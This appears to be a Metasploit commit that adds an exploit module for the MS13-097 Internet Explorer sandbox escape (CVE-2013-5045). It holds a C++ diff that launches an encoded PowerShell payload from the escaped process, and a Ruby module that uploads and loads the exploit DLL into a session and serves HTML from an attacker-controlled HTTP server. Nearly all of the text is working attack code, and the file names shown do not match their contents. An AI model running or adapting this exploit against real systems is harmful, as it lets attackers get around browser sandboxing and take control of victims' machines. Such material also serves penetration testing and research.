Land rapid7#3403 - MS13-097 Registry Symlink IE Sandbox Escape

Author: wchen-r7

data/exploits/CVE-2013-5045/CVE-2013-5045.dll

@@ -112,8 +112,8 @@ void DoRegistrySymlink()
 			throw 0;
 		}
 
-		CreateRegistryValueString(hKey, L"AppName", L"mshta.exe");
-		CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory());
+		CreateRegistryValueString(hKey, L"AppName", L"powershell.exe");
+		CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0");
 		CreateRegistryValueDword(hKey, L"Policy", 3);
 
 		bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_";
@@ -156,7 +156,7 @@ void DoRegistrySymlink()
 		CloseHandle(hSection);
 		hSection = nullptr;
 
-		MyCreateProcess(GetWindowsSystemDirectory() + L"\\mshta.exe", L"mshta.exe " + GetExploitUrl(L"HTA_URL"));
+		MyCreateProcess(GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell.exe " + GetExploitUrl(L"PSH_CMD"));
 	}
 	catch (...)
 	{

external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp

@@ -0,0 +1,121 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/exploit/exe'
+require 'msf/core/exploit/powershell'
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = GreatRanking
+
+  include Msf::Exploit::Powershell
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::HttpServer
+  include Msf::Post::Windows::Priv
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'           => 'MS13-097 Registry Symlink IE Sandbox Escape',
+      'Description'	   => %q{
+        This module exploits a vulnerability in Internet Explorer Sandbox which allows to
+        escape the Enhanced Protected Mode and execute code with Medium Integrity. The
+        vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
+        component, which can be abused to force medium integrity IE to user influenced keys.
+        By using registry symlinks it's possible force IE to add a policy entry in the registry
+        and finally bypass Enhanced Protected Mode.
+      },
+      'License'	       => MSF_LICENSE,
+      'Author'	       =>
+        [
+          'James Forshaw', # Vulnerability Discovery and original exploit code
+          'juan vazquez' # metasploit module
+        ],
+      'Platform'	     => [ 'win' ],
+      'SessionTypes'   => [ 'meterpreter' ],
+      'Stance'         => Msf::Exploit::Stance::Aggressive,
+      'Targets'	       =>
+        [
+          [ 'IE 8 - 11', { } ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => "Dec 10 2013",
+      'References'     =>
+        [
+          ['CVE', '2013-5045'],
+          ['MSB', 'MS13-097'],
+          ['BID', '64115'],
+          ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
+        ]
+    ))
+
+    register_options(
+      [
+        OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
+      ])
+  end
+
+  def exploit
+    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
+
+    mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
+    if mod_handle['return'] == 0
+      fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
+    end
+
+    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
+      fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
+    end
+
+    begin
+      Timeout.timeout(datastore['DELAY']) { super }
+    rescue Timeout::Error
+    end
+
+    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
+    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
+  end
+
+  def primer
+    cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
+    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
+
+    html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
+    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
+
+    temp = get_env('TEMP')
+
+    print_status("Loading Exploit Library...")
+
+    session.core.load_library(
+      'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
+      'TargetFilePath'  => temp +  "\\CVE-2013-5045.dll",
+      'UploadLibrary'   => true,
+      'Extension'       => false,
+      'SaveToDisk'      => false
+    )
+  end
+
+  def on_request_uri(cli, request)
+    if request.uri =~ /\.html$/
+      print_status("Sending window close html...")
+      close_html = <<-eos
+<html>
+<body>
+<script>
+window.open('', '_self', '');
+window.close();
+</script>
+</body>
+</html>
+      eos
+      send_response(cli, close_html, { 'Content-Type' => 'text/html' })
+    else
+      send_not_found(cli)
+    end
+  end
+
+end
+